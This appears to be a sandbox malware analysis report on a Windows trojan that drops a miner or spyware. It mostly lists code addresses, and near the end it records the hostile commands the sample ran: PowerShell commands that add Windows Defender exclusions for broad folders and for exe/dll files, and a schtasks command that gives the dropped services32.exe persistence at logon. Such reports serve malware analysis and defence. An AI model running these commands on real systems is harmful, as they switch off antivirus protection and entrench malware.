Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360115FD	15_2_00007FFA360115FD
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601262B	15_2_00007FFA3601262B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015E20	15_2_00007FFA36015E20
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016621	15_2_00007FFA36016621
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601464A	15_2_00007FFA3601464A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010E47	15_2_00007FFA36010E47
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015671	15_2_00007FFA36015671
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601BF50	15_2_00007FFA3601BF50
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013699	15_2_00007FFA36013699
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013E81	15_2_00007FFA36013E81
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360126B0	15_2_00007FFA360126B0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360166B0	15_2_00007FFA360166B0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011EB1	15_2_00007FFA36011EB1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015EB5	15_2_00007FFA36015EB5
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015AE6	15_2_00007FFA36015AE6
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016B13	15_2_00007FFA36016B13
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012B08	15_2_00007FFA36012B08
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36017308	15_2_00007FFA36017308
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011B1D	15_2_00007FFA36011B1D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36025B1E	15_2_00007FFA36025B1E
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010345	15_2_00007FFA36010345
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602A375	15_2_00007FFA3602A375
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601138D	15_2_00007FFA3601138D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36025B7D	15_2_00007FFA36025B7D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016380	15_2_00007FFA36016380
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601839E	15_2_00007FFA3601839E
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360153CC	15_2_00007FFA360153CC
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36021BD0	15_2_00007FFA36021BD0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012BD4	15_2_00007FFA36012BD4
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360133F1	15_2_00007FFA360133F1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013BF9	15_2_00007FFA36013BF9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360213E5	15_2_00007FFA360213E5
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36021410	15_2_00007FFA36021410
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015C12	15_2_00007FFA36015C12
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012405	15_2_00007FFA36012405
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601D42B	15_2_00007FFA3601D42B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36025C29	15_2_00007FFA36025C29
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012C4A	15_2_00007FFA36012C4A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601544F	15_2_00007FFA3601544F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601443B	15_2_00007FFA3601443B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014C6A	15_2_00007FFA36014C6A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601CC75	15_2_00007FFA3601CC75
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015C8A	15_2_00007FFA36015C8A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011C81	15_2_00007FFA36011C81
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010C9D	15_2_00007FFA36010C9D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360110D3	15_2_00007FFA360110D3
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360168C9	15_2_00007FFA360168C9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360120DF	15_2_00007FFA360120DF
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011914	15_2_00007FFA36011914
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015902	15_2_00007FFA36015902
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602C11D	15_2_00007FFA3602C11D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015152	15_2_00007FFA36015152
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013958	15_2_00007FFA36013958
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601293B	15_2_00007FFA3601293B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011146	15_2_00007FFA36011146
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601BF58	15_2_00007FFA3601BF58
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016963	15_2_00007FFA36016963
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011991	15_2_00007FFA36011991
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601A996	15_2_00007FFA3601A996
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360121B9	15_2_00007FFA360121B9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601319A	15_2_00007FFA3601319A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360111BF	15_2_00007FFA360111BF
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360139E0	15_2_00007FFA360139E0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360141E0	15_2_00007FFA360141E0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360251E8	15_2_00007FFA360251E8
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601122B	15_2_00007FFA3601122B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016274	15_2_00007FFA36016274
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015260	15_2_00007FFA36015260
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012A97	15_2_00007FFA36012A97
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013A97	15_2_00007FFA36013A97
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFA6C0	19_2_00007FFA35FFA6C0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA360096C9	19_2_00007FFA360096C9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36005721	19_2_00007FFA36005721
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36010F36	19_2_00007FFA36010F36
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFE892	19_2_00007FFA35FFE892
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36011CE2	19_2_00007FFA36011CE2
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6508	19_2_00007FFA35FF6508
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0CFE	19_2_00007FFA35FF0CFE
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF9549	19_2_00007FFA35FF9549
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36006581	19_2_00007FFA36006581
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36002DB0	19_2_00007FFA36002DB0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4E74	19_2_00007FFA35FF4E74
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600A689	19_2_00007FFA3600A689
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3317	19_2_00007FFA35FF3317
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFCB46	19_2_00007FFA35FFCB46
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF03D0	19_2_00007FFA35FF03D0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0C1C	19_2_00007FFA35FF0C1C
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF08E0	19_2_00007FFA35FF08E0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3117	19_2_00007FFA35FF3117
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0120	19_2_00007FFA35FF0120
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0178	19_2_00007FFA35FF0178
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0190	19_2_00007FFA35FF0190
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF51D1	19_2_00007FFA35FF51D1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4263	19_2_00007FFA35FF4263
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600127B	19_2_00007FFA3600127B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2EC8	19_2_00007FFA35FF2EC8
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF86D2	19_2_00007FFA35FF86D2
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0ECC	19_2_00007FFA35FF0ECC
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF16CA	19_2_00007FFA35FF16CA
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5708	19_2_00007FFA35FF5708
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1F29	19_2_00007FFA35FF1F29
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF8F28	19_2_00007FFA35FF8F28
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF371B	19_2_00007FFA35FF371B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5F2F	19_2_00007FFA35FF5F2F
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1744	19_2_00007FFA35FF1744
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF673A	19_2_00007FFA35FF673A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5788	19_2_00007FFA35FF5788
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36006796	19_2_00007FFA36006796
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0F95	19_2_00007FFA35FF0F95
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF27A9	19_2_00007FFA35FF27A9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF37A1	19_2_00007FFA35FF37A1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA360057DA	19_2_00007FFA360057DA
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF580A	19_2_00007FFA35FF580A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4831	19_2_00007FFA35FF4831
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1840	19_2_00007FFA35FF1840
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF504B	19_2_00007FFA35FF504B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF8865	19_2_00007FFA35FF8865
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2861	19_2_00007FFA35FF2861
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF105B	19_2_00007FFA35FF105B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3878	19_2_00007FFA35FF3878
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFE06D	19_2_00007FFA35FFE06D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF087F	19_2_00007FFA35FF087F
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3090	19_2_00007FFA35FF3090
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFF8AB	19_2_00007FFA35FFF8AB
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF34BE	19_2_00007FFA35FF34BE
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600ACC0	19_2_00007FFA3600ACC0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF44D3	19_2_00007FFA35FF44D3
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4CDF	19_2_00007FFA35FF4CDF
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF24F3	19_2_00007FFA35FF24F3
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1515	19_2_00007FFA35FF1515
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF7511	19_2_00007FFA35FF7511
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5D22	19_2_00007FFA35FF5D22
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFCD46	19_2_00007FFA35FFCD46
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600AD61	19_2_00007FFA3600AD61
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFCD70	19_2_00007FFA35FFCD70
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF256B	19_2_00007FFA35FF256B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36000D89	19_2_00007FFA36000D89
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2D7F	19_2_00007FFA35FF2D7F
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4D7A	19_2_00007FFA35FF4D7A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5D92	19_2_00007FFA35FF5D92
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF35A3	19_2_00007FFA35FF35A3
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1DC4	19_2_00007FFA35FF1DC4
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF25D2	19_2_00007FFA35FF25D2
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF45CD	19_2_00007FFA35FF45CD
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF55E1	19_2_00007FFA35FF55E1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4DF1	19_2_00007FFA35FF4DF1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF15FD	19_2_00007FFA35FF15FD
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3612	19_2_00007FFA35FF3612
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5E20	19_2_00007FFA35FF5E20
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6621	19_2_00007FFA35FF6621
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF262B	19_2_00007FFA35FF262B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0E47	19_2_00007FFA35FF0E47
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF464A	19_2_00007FFA35FF464A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFBF50	19_2_00007FFA35FFBF50
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5671	19_2_00007FFA35FF5671
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3E81	19_2_00007FFA35FF3E81
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3699	19_2_00007FFA35FF3699
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5EB5	19_2_00007FFA35FF5EB5
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF26B0	19_2_00007FFA35FF26B0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF66B0	19_2_00007FFA35FF66B0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1EB1	19_2_00007FFA35FF1EB1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2B08	19_2_00007FFA35FF2B08
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6B13	19_2_00007FFA35FF6B13
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36005B1E	19_2_00007FFA36005B1E
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1B1D	19_2_00007FFA35FF1B1D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0345	19_2_00007FFA35FF0345
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF435E	19_2_00007FFA35FF435E
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600A375	19_2_00007FFA3600A375
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6380	19_2_00007FFA35FF6380
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36005B7D	19_2_00007FFA36005B7D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF138D	19_2_00007FFA35FF138D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF839E	19_2_00007FFA35FF839E
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2BD4	19_2_00007FFA35FF2BD4
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF53CC	19_2_00007FFA35FF53CC
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA360013E5	19_2_00007FFA360013E5
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3BF9	19_2_00007FFA35FF3BF9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF33F1	19_2_00007FFA35FF33F1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2405	19_2_00007FFA35FF2405
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4C03	19_2_00007FFA35FF4C03
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5C12	19_2_00007FFA35FF5C12
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36001410	19_2_00007FFA36001410
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36005C29	19_2_00007FFA36005C29
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF443B	19_2_00007FFA35FF443B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF544F	19_2_00007FFA35FF544F
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2C4A	19_2_00007FFA35FF2C4A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3C5E	19_2_00007FFA35FF3C5E
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFCC75	19_2_00007FFA35FFCC75
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1C81	19_2_00007FFA35FF1C81
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5C8A	19_2_00007FFA35FF5C8A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0C9D	19_2_00007FFA35FF0C9D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF68C9	19_2_00007FFA35FF68C9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF00E8	19_2_00007FFA35FF00E8
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF20DF	19_2_00007FFA35FF20DF
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5902	19_2_00007FFA35FF5902
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1914	19_2_00007FFA35FF1914
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600C11D	19_2_00007FFA3600C11D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1146	19_2_00007FFA35FF1146
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF293B	19_2_00007FFA35FF293B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3958	19_2_00007FFA35FF3958
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5152	19_2_00007FFA35FF5152
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6963	19_2_00007FFA35FF6963
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFBF58	19_2_00007FFA35FFBF58
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0180	19_2_00007FFA35FF0180
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFA996	19_2_00007FFA35FFA996
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1991	19_2_00007FFA35FF1991
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF319A	19_2_00007FFA35FF319A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF21B9	19_2_00007FFA35FF21B9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF11BF	19_2_00007FFA35FF11BF
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA360051E8	19_2_00007FFA360051E8
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF39E0	19_2_00007FFA35FF39E0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF41E0	19_2_00007FFA35FF41E0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF61EF	19_2_00007FFA35FF61EF
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36010A39	19_2_00007FFA36010A39
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF122B	19_2_00007FFA35FF122B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5260	19_2_00007FFA35FF5260
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2A97	19_2_00007FFA35FF2A97
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3A97	19_2_00007FFA35FF3A97
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5AA1	19_2_00007FFA35FF5AA1
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Code function: 29_2_00007FFA360043D6	29_2_00007FFA360043D6
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Code function: 29_2_00007FFA36005182	29_2_00007FFA36005182
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Code function: 29_2_00007FFA36000098	29_2_00007FFA36000098
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Code function: 29_2_00007FFA36000095	29_2_00007FFA36000095

Source: YfTokH7RIj.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\fl.exe

File created: C:\Windows\system32\services32.exe

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D7DC4C SetFocus,SendMessageA,DestroyWindow,DestroyWindow,DestroyWindow,DestroyWindow,NtdllDefWindowProc_A,

0_2_00D7DC4C

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D70270: CreateFileA,DeviceIoControl,CloseHandle,

0_2_00D70270

Source: sihost32.exe.19.dr	Static PE information: No import functions for PE file found
Source: fl.exe.0.dr	Static PE information: No import functions for PE file found
Source: services32.exe.7.dr	Static PE information: No import functions for PE file found

Source: YfTokH7RIj.exe	Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameStopScam.exe8 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp	Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameSV vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726954791.00000000038AF000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameStopScam.exe8 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000003.700874703.000000000716E000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.716576999.0000000000426000.00000080.00020000.sdmp	Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000003.648331648.0000000002680000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.732563568.000000000716E000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe	Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe

Source: YfTokH7RIj.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: YfTokH7RIj.exe	Static PE information: Section: ZLIB complexity 1.00056966146
Source: YfTokH7RIj.exe	Static PE information: Section: ZLIB complexity 1.0107421875
Source: YfTokH7RIj.exe	Static PE information: Section: ZLIB complexity 1.004296875
Source: YfTokH7RIj.exe	Static PE information: Section: ZLIB complexity 1.021484375

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@37/25@4/3

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: YfTokH7RIj.exe	Virustotal: Detection: 40%
Source: YfTokH7RIj.exe	ReversingLabs: Detection: 48%

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\YfTokH7RIj.exe "C:\Users\user\Desktop\YfTokH7RIj.exe"
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
Source: unknown	Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe
